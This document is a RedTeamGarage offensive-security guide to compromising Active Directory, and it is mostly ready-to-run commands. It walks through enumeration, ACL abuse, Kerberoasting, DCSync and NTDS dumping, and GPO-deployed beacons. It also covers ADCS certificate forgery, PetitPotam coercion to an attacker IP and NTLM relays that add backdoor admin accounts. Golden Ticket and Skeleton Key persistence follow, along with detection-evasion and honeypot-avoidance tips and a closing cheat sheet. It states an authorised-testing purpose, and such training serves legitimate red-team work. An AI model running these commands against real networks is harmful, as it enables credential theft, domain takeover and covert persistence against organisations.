



◆ OFFENSIVE SECURITY SERIES ◆

ACTIVE DIRECTORY ATTACKS

From Foothold to Domain Compromise

BloodHound · ACL Abuse · DCSync · GPO · ADCS · Persistence

BloodHound

PowerView

ACL Abuse

DCSync

GPO Abuse

ADCS/ESC

Persistence

Trust

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is for RedTeamGarage (RTG) educational purposes only.

All AD attack techniques must ONLY be used on environments you own or have explicit written authorisation to test. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Active Directory Attacks — From Foothold to Domain Compromise

01.	AD FUNDAMENTALS — STRUCTURE, TRUSTS & ATTACK PATHS
02.	AD ENUMERATION — BLOODHOUND, POWerview & LDAP
03.	ACL & DACL ABUSE — GENERICWRITE, WRITEDACL & OWNERSHIP
04.	KERBEROASTING & AS-REP ROASTING — DEEP DIVE
05.	DCSYNC & NTDS.DIT EXTRACTION
06.	GPO ABUSE — GROUP POLICY OBJECT ATTACKS
07.	ACTIVE DIRECTORY CERTIFICATE SERVICES (ADCS) — ESC1-ESC8
08.	LAPS ABUSE — LOCAL ADMIN PASSWORD SOLUTION BYPASS
09.	DOMAIN PERSISTENCE — GOLDEN TICKET, SKELETON KEY & DSRM
10.	CROSS-DOMAIN & FOREST TRUST ATTACKS
11.	EXCHANGE & MAIL SERVER AD ATTACKS
12.	AZURE AD / HYBRID IDENTITY ATTACKS
13.	NTLM RELAY IN AD ENVIRONMENTS
14.	OPSEC — DETECTION EVASION IN AD ENGAGEMENTS
15.	ACTIVE DIRECTORY CHEAT SHEET



01 — AD FUNDAMENTALS

Structure, Objects, Trusts & the Attack Path Mindset

Active Directory is the identity backbone of the enterprise — it authenticates and authorises users, computers, services, and applications. Understanding its object model, the Kerberos authentication protocol, the ACL permission system, and trust relationships is essential before executing any AD attack. Every escalation path ultimately comes down to what permissions one object holds over another — and BloodHound maps this automatically.

AD Object	Description	Attack Value
Domain	Top-level security boundary	Compromise = all objects beneath
OU (Org Unit)	Container for users/computers/GPOs	GPO applied here = code exec on members
User	Human or service account	Credentials, group memberships, SPNs
Computer	Domain-joined machine	Local admin access, Kerberos delegation
Group	Collection of principals	Admin groups = lateral movement targets
GPO	Group Policy Object	Applied to OU = persistent code execution
SPN	Service Principal Name	Identifies service accounts for Kerberoasting
ACE/DACL	Access Control Entry/List	Defines who can do what to each object
Trust	Cross-domain/forest relationship	Attack path between domains/forests

AD ATTACK PATH — GENERAL FLOW

1. Foothold — Low-priv user account (spray, phish, exploit)
2. Enumerate — BloodHound, PowerView, Idapdomaindump
3. Find path — BloodHound: Shortest Path to Domain Admins
4. Escalate — ACL abuse / Kerberoast / delegation / ADCS
5. DA access — DCSync / NTDS dump / Golden Ticket
6. Persist — Skeleton Key / AdminSDHolder / DSRM / Golden Ticket



02 — AD ENUMERATION

BloodHound, PowerView, Ldapdomaindump & LDAP Queries

Enumeration is the most critical phase of an AD engagement. BloodHound collects and visualises the entire permission graph of the domain — showing attack paths to Domain Admin in seconds. PowerView provides live LDAP queries for targeted enumeration. Ldapdomaindump exports every AD object to HTML/JSON files for offline analysis.

\$ BloodHound Collection & Analysis

```
# BloodHound-Python – remote collection (no agent on target needed)
pip install bloodhound
python3 bloodhound-python -u jdoe -p 'P@ss!' \
  -d target.local -ns 10.10.10.1 -c All --zip

# SharpHound – on-target collection (more data, faster)
SharpHound.exe -c All --zipfilename bh_data.zip
SharpHound.exe -c All,GPOLocalGroup --stealth

# Start Neo4j + BloodHound GUI
sudo neo4j start
bloodhound &

# Upload zip → Run pre-built queries:

# KEY BLOODHOUND QUERIES:
# 'Find Shortest Paths to Domain Admins'
# 'Find Principals with DCSync Rights'
# 'Find Computers with Unconstrained Delegation'
# 'Find AS-REP Roastable Users'
# 'Find Kerberoastable Users with High Value Targets'
# 'Shortest Path from Owned Principals'

# PowerView – live LDAP enumeration
Import-Module PowerView.ps1
Get-NetDomain
Get-NetDomainController
Get-NetUser | select samaccountname,memberof,description
Get-NetGroup 'Domain Admins' -Recurse
Get-NetComputer -Unconstrained
Get-ObjectAcl -SamAccountName jdoe -ResolveGUIDs
Find-InterestingDomainAcl | Where {$_.IdentityReference -match 'jdoe'}

# Ldapdomaindump
python3 ldapdomaindump.py -u 'target\jdoe' -p 'P@ss!' 10.10.10.1
# Outputs: domain_users.html, domain_groups.html, domain_computers.html
```



03 — ACL & DACL ABUSE

GenericWrite, WriteDACL, GenericAll & Ownership Attacks

Active Directory Access Control Lists define what actions each principal can perform on each object. Misconfigured ACEs are one of the most consistently exploitable paths in real AD environments — a single GenericWrite over a Domain Admin user allows a low-priv attacker to reset their password and take over the account. BloodHound highlights these paths automatically.

ACE / Right	Target Object	What Attacker Can Do
GenericAll	User	Reset password, modify group membership, add SPN
GenericAll	Group	Add self to group (including Domain Admins)
GenericAll	Computer	RBCD attack, reset machine password
GenericWrite	User	Set SPN → Kerberoast; add to group
GenericWrite	Computer	Set msDS-AllowedToActOnBehalf → RBCD
WriteDACL	Any object	Add any ACE — grant yourself GenericAll
WriteOwner	Any object	Take ownership → then WriteDACL → GenericAll
ForceChangePassword	User	Reset password without knowing current
AllExtendedRights	User	ForceChangePassword + read LAPS password
Owns	Any object	Same as WriteOwner — can set DACL freely

\$ ACL Abuse — PowerView & Impacket

```
# GenericAll/GenericWrite on user → reset password
Set-DomainUserPassword -Identity targetuser \
  -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# GenericWrite on user → add SPN → Kerberoast
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/rtg'}
# Now Kerberoast the user:
Rubeus.exe kerberoast /user:targetuser /format:hashcat

# WriteDACL → grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity jdoe -Rights All

# GenericAll on group → add self to Domain Admins
Add-DomainGroupMember -Identity 'Domain Admins' -Members jdoe

# WriteOwner → take ownership → add GenericAll
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity jdoe
Add-DomainObjectAcl -TargetIdentity targetuser \
  -PrincipalIdentity jdoe -Rights All

# Impacket — DCSync rights abuse (if we have Replicating Directory Changes)
python3 secretsdump.py 'target.local/jdoe:P@ss!@DC01'
# secretsdump checks for DS-Replication rights before attempting DCSync

# Add DCSync rights to jdoe (requires WriteDACL on domain object)
Add-DomainObjectAcl -TargetIdentity 'DC=target,DC=local' \
  -PrincipalIdentity jdoe \
  -Rights DCSync
```



04 — KERBEROASTING & AS-REP ROASTING

Offline Hash Extraction — Deep Dive Techniques & Defences

Kerberoasting is the most reliable privilege escalation technique in AD — any domain user can request service tickets for any account with an SPN, extract the RC4-encrypted ticket, and crack it offline. Service accounts with weak passwords are trivially cracked in hours on a modern GPU. High-value targets include MSSQL service accounts, backup agents, and custom application service accounts — which frequently run as Domain Admins.

\$ Kerberoasting — Full Workflow

```
# Find Kerberoastable accounts (accounts with SPNs)
Get-DomainUser -SPN | select samaccountname,serviceprincipalname,memberof

# Impacket — remote Kerberoast (no agent on domain-joined host needed)
python3 GetUserSPNs.py target.local/jdoe:'P@ss!' \
  -dc-ip 10.10.10.1 -request -outputfile kerberoast.txt

# Rubeus — on-target Kerberoast
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
Rubeus.exe kerberoast /user:svc_sql /format:hashcat # Single target
Rubeus.exe kerberoast /tgtdeleg /format:hashcat # Use TGT delegation

# CrackMapExec — Kerberoast via LDAP
crackmapexec ldap 10.10.10.1 -u jdoe -p 'P@ss!' --kerberoasting output.txt

# Crack with Hashcat (-m 13100 = TGS-REP RC4, -m 19600 = AES128)
hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule
hashcat -m 13100 kerberoast.txt rockyou.txt --wordlist company_words.txt

# AS-REP Roasting — accounts with 'Do not require Kerberos preauthentication'
python3 GetNPUsers.py target.local/ -dc-ip 10.10.10.1 \
  -no-pass -usersfile users.txt -format hashcat -outputfile asrep.txt

# Rubeus AS-REP Roast
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Crack AS-REP hashes (-m 18200)
hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule
```



05 — DCSYNC & NTDS.DIT EXTRACTION

Replicating All Domain Hashes — Remote & Local Methods

DCSync abuses the Directory Replication Service (DRS) protocol to request password hashes for any user from a Domain Controller — without ever logging into the DC or touching ntds.dit on disk. Any account with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights can perform DCSync — these rights are held by Domain Admins and any account granted replication permissions (common misconfiguration).

\$ DCSync & NTDS Extraction

```
# DCSync via Impacket — dump all hashes remotely
python3 secretsdump.py target.local/admin:'P@ss! '@DC01.target.local
python3 secretsdump.py target.local/admin:'P@ss! '@10.10.10.1 -just-dc-ntlm
python3 secretsdump.py target.local/admin:'P@ss! '@10.10.10.1 \
    -just-dc-user krbtgt # Dump only krbtgt (for Golden Ticket)

# DCSync via Mimikatz (on DC or with DA token)
lsadump::dcsync /domain:target.local /all /csv
lsadump::dcsync /domain:target.local /user:krbtgt
lsadump::dcsync /domain:target.local /user:Administrator

# CrackMapExec — DCSync
crackmapexec smb DC01 -u admin -p 'P@ss!' --ntds
crackmapexec smb DC01 -u admin -H NTHASH --ntds drsuapi

# Local NTDS extraction (if you have access to DC filesystem)
# Method 1: Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\

# Method 2: ntdsutil snapshot
ntdsutil 'activate instance ntds' 'ifm' 'create full C:\Temp\IFM' quit quit

# Offline extraction with Impacket
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[+] target.local\Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931:::
[+] target.local\krbtgt:502:aad3b435b51404ee:a87f3a337d73085c:::
```



06 — GPO ABUSE

Group Policy Object Attacks — Write Access to Code Execution

Group Policy Objects control the configuration and security settings of every domain-joined computer and user in an OU. If an attacker has write access to a GPO — or can create and link a new GPO to an OU — they can deploy malicious configurations to every computer and user in that OU's scope, including scheduled tasks, startup scripts, and registry modifications that execute arbitrary code as SYSTEM.

\$ GPO Enumeration & Abuse

```
# Find GPOs you have write access to
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | \
  Where-Object { ($_.ActiveDirectoryRights -match 'CreateChild|WriteProperty|GenericAll') \
    -and ($_.SecurityIdentifier -match 'jdoe') }

# BloodHound — check for GPO write paths
# Pre-built query: 'Find GPOs Controllable by Domain Users'

# SharpGPOAbuse — .NET GPO manipulation tool
# Add immediate scheduled task to all computers in GPO scope
SharpGPOAbuse.exe --AddComputerTask \
  --TaskName 'WindowsUpdate' \
  --Author 'NT AUTHORITY\SYSTEM' \
  --Command 'C:\Windows\Temp\beacon.exe' \
  --GPOName 'Default Domain Policy'

# Add local admin rights to our user on GPO-scoped computers
SharpGPOAbuse.exe --AddLocalAdmin \
  --UserAccount jdoe \
  --GPOName 'Workstations Policy'

# PowerView — create new GPO and link to OU
New-GPO -Name 'Evil GPO'
New-GPLink -Name 'Evil GPO' -Target 'OU=Workstations,DC=target,DC=local'

# Force GPO update on target (immediate execution)
Invoke-GPUpdate -Computer 'WORKSTATION01' -Force
# Or wait — default refresh every 90 minutes + random offset
```



07 — ACTIVE DIRECTORY CERTIFICATE SERVICES

ADCS ESC1–ESC8 — Misconfigured Certificate Templates to Domain Admin

Active Directory Certificate Services (ADCS) is a PKI implementation built into Windows Server. Misconfigured certificate templates allow low-privileged users to request certificates for high-privileged identities, then use those certificates to authenticate as Domain Admins. The ESC (EScalation) vulnerabilities discovered by Will Schroeder and Lee Christensen cover eight distinct template and CA misconfigurations — ESC1 alone affects a majority of enterprise AD CS deployments.

ESC	Vulnerability	Impact
ESC1	Template allows SAN (Subject Alternative Name) in CSR	Any user can request cert as any user incl. DA
ESC2	Any Purpose or SubCA EKU in template	Forge certs for any purpose
ESC3	Enrollment Agent template misconfiguration	Enroll on behalf of any user
ESC4	Template with vulnerable ACL (GenericWrite)	Modify template to ESC1 vulnerability
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag set	Any template → SAN abuse → ESC1 impact
ESC7	CA officer/manager rights misconfigured	Approve any pending certificate request
ESC8	NTLM relay to AD CS HTTP endpoint	Relay DC machine account → DA cert

\$ Certipy — ADCS Enumeration & Exploitation

```
# Install Certipy
pip install certipy-ad

# Enumerate ADCS — find all vulnerable templates
certipy find -u jdoe@target.local -p 'P@ss!' -dc-ip 10.10.10.1
certipy find -u jdoe@target.local -p 'P@ss!' -vulnerable -stdout

# ESC1 — request cert as Domain Admin
certipy req -u jdoe@target.local -p 'P@ss!' \
  -ca 'target-CA' -template 'VulnerableTemplate' \
  -upn administrator@target.local \
  -dc-ip 10.10.10.1
# Output: administrator.pfx

# Authenticate with forged certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Returns: NTLM hash of Administrator → PTH or PTT

# ESC8 — NTLM relay to ADCS HTTP endpoint
# Step 1: Start relay targeting ADCS enrollment web service
python3 ntlmrelayx.py -t 'http://CA01/certsrv/certfnsh.asp' \
  -smb2support --adcs --template 'DomainController'

# Step 2: Coerce DC authentication (SpoolSample / PetitPotam)
python3 PetitPotam.py ATTACKER_IP DC01.target.local

# Step 3: Cert relayed → use to get DC hash
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1
```



08 — LAPS ABUSE

Reading Local Admin Passwords via AD Attribute

Local Administrator Password Solution (LAPS) automatically rotates local administrator passwords and stores them in the AD computer object attribute ms-Mcs-AdmPwd. By default only Domain Admins and designated users can read this attribute — but misconfigured ACLs frequently expose it to broader groups. Reading LAPS passwords provides local admin access to every computer managed by LAPS — enabling lateral movement across the domain.

\$ LAPS Enumeration & Password Reading

```
# Check if LAPS is deployed
Get-DomainComputer | Where-Object {$_. 'ms-Mcs-AdmPwdExpirationTime' -ne $null}

# Find users/groups with LAPS read access
Find-AdmPwdExtendedRights -Identity 'Workstations'
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | \
  Where {$_.ObjectAceType -eq 'ms-Mcs-AdmPwd' -and $_.ActiveDirectoryRights -match 'ReadProperty'}

# Read LAPS password (if you have access)
Get-DomainComputer WORKSTATION01 -Properties ms-Mcs-AdmPwd
Get-ADComputer WORKSTATION01 -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd

# CrackMapExec — read LAPS across all computers
crackmapexec ldap 10.10.10.0/24 -u jdoe -p 'P@ss!' -M laps

# LAPSToolkit — comprehensive LAPS auditing
Import-Module LAPSToolkit.ps1
Get-LAPSComputers          # All LAPS-managed computers + passwords
Find-LAPSDelegatedGroups   # Groups with LAPS read rights
Find-AdmPwdExtendedRights  # Users/groups with AllExtendedRights

# PyLAPS — Python-based LAPS reader
python3 pyLAPS.py --action get -d target.local \
  -u jdoe -p 'P@ss!' --dc-ip 10.10.10.1

[+] WORKSTATION01 : P@ssw0rd#2024
[+] WORKSTATION02 : 9xKm!nT2#vR
```



09 — DOMAIN PERSISTENCE

Golden Ticket, Skeleton Key, AdminSDHolder & DSRM

Domain persistence ensures continued access even after credential rotation, account disabling, or security incident response. The most powerful persistence mechanisms operate at the domain level — Golden Tickets survive password changes, Skeleton Key backdoors every account without altering stored credentials, and AdminSDHolder abuse propagates rogue ACEs to all protected accounts automatically every 60 minutes.

\$ Domain Persistence Techniques

```
# GOLDEN TICKET — forge TGT for any user, survives krbtgt password reset
# Requires: krbtgt NTLM hash, domain SID
mimikatz.exe 'lsadump::dcsync /user:krbtgt' exit

kerberos::golden /user:Administrator /domain:target.local \
  /sid:S-1-5-21-XXXXXXX /krbtgt:KRBtgt_HASH /ptt
# Ticket lasts 10 years by default — survives any password change
# OPSEC: use /endin:600 /renewmax:10080 to match legit ticket lifetime

# Rubeus Golden Ticket
Rubeus.exe golden /rc4:KRBtgt_HASH /domain:target.local \
  /sid:S-1-5-21-XXXXXXX /user:Administrator /ptt

# SKELETON KEY — patches LSASS to accept 'mimikatz' as any user's password
# Requires DA — does NOT persist across reboots
mimikatz.exe 'privilege::debug' 'misc::skeleton' exit
# Any user: password = 'mimikatz' until next DC reboot

# DSRM BACKDOOR — enable DSRM account for remote login
# DSRM = Directory Services Restore Mode admin (offline only by default)
Set-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' \
  DsrAdminLogonBehavior 2 # Allow DSRM login while AD online
# Now DSRM admin hash can be used for PTH against DC

# ADMINSDHOLDER ABUSE — add ACE that propagates to all protected groups
# SDProp runs every 60 min and copies AdminSDHolder ACL to protected objects
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,...' \
  -PrincipalIdentity jdoe -Rights All
# After 60 min: jdoe has GenericAll over Domain Admins, Enterprise Admins, etc.
```



10 — CROSS-DOMAIN & FOREST TRUST ATTACKS

SID History, Trust Ticket Forging & ExtraSIDs Attack

Domain and forest trusts allow users in one domain to access resources in another. Trust relationships introduce new attack paths — SID History injection allows adding Enterprise Admin SIDs to a forged ticket, granting cross-forest admin access. Trust tickets (inter-realm TGTs) can be forged using the trust key obtained from DCSync.

\$ Trust Attack Techniques

```
# Enumerate domain trusts
Get-DomainTrust
Get-ForestTrust
nltest /domain_trusts

# Get trust keys via DCSync (needed to forge trust tickets)
lsadump::dcsync /domain:child.target.local /user:target$
# target$ = the parent domain trust account – contains trust key

# ExtraSIDs attack – child domain DA → parent Enterprise Admin
# Forge ticket with parent domain Enterprise Admins SID in SIDHistory
kerberos::golden /user:Administrator \
  /domain:child.target.local \
  /sid:CHILD_DOMAIN_SID \
  /sids:PARENT_ENTERPRISE_ADMINS_SID \
  /rc4:CHILD_KRBTGT_HASH /ptt
# sids = S-1-5-21-PARENT-SID-519 (Enterprise Admins)

# Access parent domain DC after ticket injection
ls \\PARENT-DC\C$
python3 secretsdump.py -k PARENT-DC.target.local

# Rubeus – cross-domain trust ticket
Rubeus.exe golden /rc4:TRUST_KEY \
  /domain:child.target.local /sid:CHILD_SID \
  /sids:ENTERPRISE_ADMINS_SID /user:Admin /ptt

# Foreign group membership abuse (cross-domain)
Get-DomainForeignGroupMember # Users from other domains in local groups
```



11 — EXCHANGE & MAIL SERVER ATTACKS

PrivExchange, NTLM Relay to Exchange & Mailbox Access

Microsoft Exchange integrates deeply with Active Directory — Exchange servers hold significant AD privileges by default. The PrivExchange vulnerability coerces Exchange to authenticate to an attacker-controlled server via its PushNotification endpoint, enabling NTLM relay to LDAP with Exchange's elevated AD permissions — granting DCSync rights to any controlled account.

\$ Exchange Attack Techniques

```
# PrivExchange — coerce Exchange NTLM auth → relay to LDAP → DCSync rights
# Step 1: Start NTLM relay targeting LDAP on DC
python3 ntlmrelayx.py -t ldap://DC01.target.local \
  --escalate-user jdoe

# Step 2: Trigger Exchange to authenticate to attacker
python3 privexchange.py -ah ATTACKER_IP EXCHANGE01.target.local \
  -u jdoe -p 'P@ss!' -d target.local

# Step 3: ntlmrelayx grants jdoe DCSync rights via Exchange's AD perms
# Step 4: DCSync as jdoe
python3 secretsdump.py target.local/jdoe:'P@ss!'@DC01.target.local

# EWS (Exchange Web Services) — access mailboxes
# ruler — Exchange/MAPI attack tool
ruler --domain target.local --username jdoe --password 'P@ss!' \
  --email jdoe@target.local abk dump --output contacts.txt

# Dump all mailboxes (as Exchange admin or DA)
# PowerShell (on Exchange server):
Get-Mailbox -ResultSize Unlimited | \
  Export-Mailbox -FilePath C:\Temp\mailboxes\ -BadItemLimit 100

# impacket — read Exchange mailbox via EWS
python3 exchangelib_dump.py --server EXCHANGE01 \
  -u admin -p 'P@ss!' --mailbox ceo@target.com
```



12 — AZURE AD & HYBRID IDENTITY ATTACKS

AAD Connect, Pass-Through Auth & Cloud-to-On-Prem Pivoting

Organisations synchronising on-premises Active Directory to Azure AD via Azure AD Connect create bidirectional attack paths. Compromising the AAD Connect server — which stores credentials for both environments — enables extraction of the sync account's plaintext credentials, granting the ability to reset any synced user's password including Global Administrators in Azure AD.

\$ Azure AD Hybrid Attack Techniques

```
# Enumerate AAD Connect server
Get-ADUser -Filter {Description -like '*Azure AD*'} -Properties Description
# Look for: MSOL_XXXXXXXX account (AAD sync account)

# AADInternals — extract AAD Connect credentials (run on AAD Connect server)
Import-Module AADInternals
Get-AADIntSyncCredentials # Extract MSOL account credentials

# Use extracted MSOL account to reset any Azure AD user password
Set-AADIntUserPassword -SourceAnchor 'USER_ANCHOR' \
  -Password 'NewP@ss!' -Verbose

# Pass-Through Authentication (PTA) abuse
# Install rogue PTA agent → all auth passes through attacker
Install-AADIntPTASpy
Get-AADIntPTASpyLog # Capture cleartext credentials as users auth

# ROADtools — Azure AD enumeration
pip install roadrecon
roadrecon auth -u jdoe@target.com -p 'P@ss!'
roadrecon gather
roadrecon gui # Browse all AAD objects at http://127.0.0.1:5000

# AzureHound — BloodHound for Azure
azurehound list --tenant TARGET_TENANT_ID \
  --app APP_ID --secret SECRET -o azurehound_data.json
# Import into BloodHound → find paths to Global Admin
```



13 — NTLM RELAY IN AD ENVIRONMENTS

Responder, ntlmrelayx, PetitPotam & AD CS Relay

NTLM relay attacks intercept challenge-response authentication and relay it to another service to authenticate as the victim. In AD environments, NTLM relay is particularly powerful — relaying to LDAP with elevated privileges grants DCSync rights, relaying to SMB enables code execution, and relaying to AD CS HTTP endpoints yields domain certificates. PetitPotam coerces Domain Controller authentication without credentials.

\$ NTLM Relay — AD-Specific Techniques

```
# Step 1: Disable SMB/HTTP in Responder (relay, don't capture)
# Edit /etc/responder/Responder.conf: SMB=Off, HTTP=Off
sudo responder -I eth0 -rdwv

# Step 2: ntlmrelayx — relay to LDAP for DCSync rights
python3 ntlmrelayx.py -t ldap://DC01.target.local \
    -smb2support --escalate-user jdoe

# Step 3: PetitPotam — coerce DC authentication (no creds needed)
python3 PetitPotam.py ATTACKER_IP DC01.target.local
# DC authenticates to attacker → relayed to LDAP → DCSync rights granted

# Step 4: DCSync with escalated jdoe
python3 secretsdump.py target.local/jdoe:'P@ss! '@DC01.target.local

# Relay to SMB — execute command on target
python3 ntlmrelayx.py -t smb://10.10.10.50 -smb2support \
    -c 'net user hacker P@ss123! /add && net localgroup administrators hacker /add'

# Relay to AD CS (ESC8)
python3 ntlmrelayx.py -t http://CA01/certsrv/certfnsh.asp \
    --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC01.target.local
# DC cert extracted → certipy auth → DC hash → DCSync

# Multi-relay — target multiple services simultaneously
python3 ntlmrelayx.py -tf targets.txt -smb2support --no-http-server
```



14 — OPSEC IN AD ENGAGEMENTS

Event Logs, Honeypot Accounts & Staying Below the Radar

Active Directory environments generate rich audit logs that mature SOC teams monitor closely. Understanding which event IDs map to which attacks allows red teamers to choose the stealthiest approach, time operations appropriately, and avoid honeypot traps like the krbtgt RC4 usage alert and the dedicated honeypot service account commonly used to catch Kerberoasting.

Technique	Event IDs	Stealth Alternative
Kerberoasting	4769 (TGS-REQ, RC4)	Request AES tickets (/enctype:aes) — no 4769 RC4 alert
AS-REP Roasting	4768 (no preauth)	Low and slow — one account at a time
DCSync	4662 (directory access)	Use VSS shadow copy instead of live DCSync
LSASS Dump	10 (Sysmon)	Use comsvcs.dll or shadow copy — no direct LSASS access
BloodHound collect	4662, LDAP queries	Use --stealth flag, off-hours collection
Golden Ticket	4768 (unusual enc type)	Use AES256 krbtgt hash not RC4
Lateral movement	4624 (Type 3 NTLM)	Use Kerberos (Type 3 Kerberos) — less alerted
Pass-the-Hash	4624 (NTLM Logon)	Use PTT (Kerberos) wherever possible

AD HONEYPOT INDICATORS — AVOID THESE

- Honey accounts: Users named 'admin', 'svc_sql', 'backup' with SPNs but never used
- Canary tokens: Documents in shares that trigger alerts when opened
- Privileged users with no logon history — touching them = alert
- krbtgt RC4 usage — most mature SOCs alert on this specifically
- Unconstrained delegation hosts — may be honeypots attracting exploitation



15 — ACTIVE DIRECTORY CHEAT SHEET

Every Command — From Foothold to Forest Compromise

BloodHound collect	<code>python3 bloodhound-python -u user -p pass -d target.local -ns DC01 -c All --zip</code>
PowerView users	<code>Get-NetUser select samaccountname,memberof,description</code>
PowerView ACLs	<code>Find-InterestingDomainAcl Where {\$_.IdentityReference -match 'jdoe'}</code>
Kerberoast (remote)	<code>python3 GetUsersSPNs.py target.local/user:pass -dc-ip DC01 -request -outputfile k.txt</code>
AS-REP Roast	<code>python3 GetNPUsers.py target.local/ -usersfile users.txt -no-pass -format hashcat</code>
Crack Kerberoast	<code>hashcat -m 13100 k.txt rockyou.txt -r best64.rule</code>
Crack AS-REP	<code>hashcat -m 18200 asrep.txt rockyou.txt -r best64.rule</code>
DCSync	<code>python3 secretsdump.py target.local/admin:pass@DC01 -just-dc-ntlm</code>
NTDS via VSS	<code>vssadmin create shadow /for=C: then copy ntds.dit + SYSTEM hive</code>
ACL — reset password	<code>Set-DomainUserPassword -Identity target -AccountPassword (ConvertTo-SecureString 'P@ss!' -Force)</code>
ACL — add to DA	<code>Add-DomainGroupMember -Identity 'Domain Admins' -Members jdoe</code>
ACL — WriteDAcl	<code>Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity jdoe -Rights All</code>
GPO abuse	<code>SharpGPOAbuse.exe --AddComputerTask --Command C:\beacon.exe --GPOName 'Policy'</code>
ADCS — enumerate	<code>certipy find -u user@target.local -p pass -vulnerable -stdout</code>
ADCS — ESC1 exploit	<code>certipy req -u user@target.local -p pass -ca CA -template Vuln -upn admin@target.local</code>
ADCS — ESC8 relay	<code>ntlmrelayx -t http://CA/certsrv/certifnsh.asp --adcs && PetitPotam ATTACKER DC01</code>
LAPS read	<code>crackmapexec ldap DC01 -u user -p pass -M laps</code>
Golden ticket	<code>kerberos::golden /user:Admin /domain:target.local /sid:SID /krbtgt:HASH /ptt</code>
Skeleton key	<code>mimikatz: privilege::debug misc::skeleton</code>
AdminSDHolder	<code>Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,...' -PrincipalIdentity jdoe -Rights All</code>
PetitPotam coerce	<code>python3 PetitPotam.py ATTACKER_IP DC01.target.local</code>
NTLM relay LDAP	<code>ntlmrelayx.py -t ldap://DC01 --escalate-user jdoe</code>
Trust — ExtraSIDs	<code>kerberos::golden /sids:ENTERPRISE_ADMINS_SID /rc4:CHILD_KRBTGT_HASH ...</code>
AAD Connect dump	<code>Get-AADIntSyncCredentials (run on AAD Connect server)</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.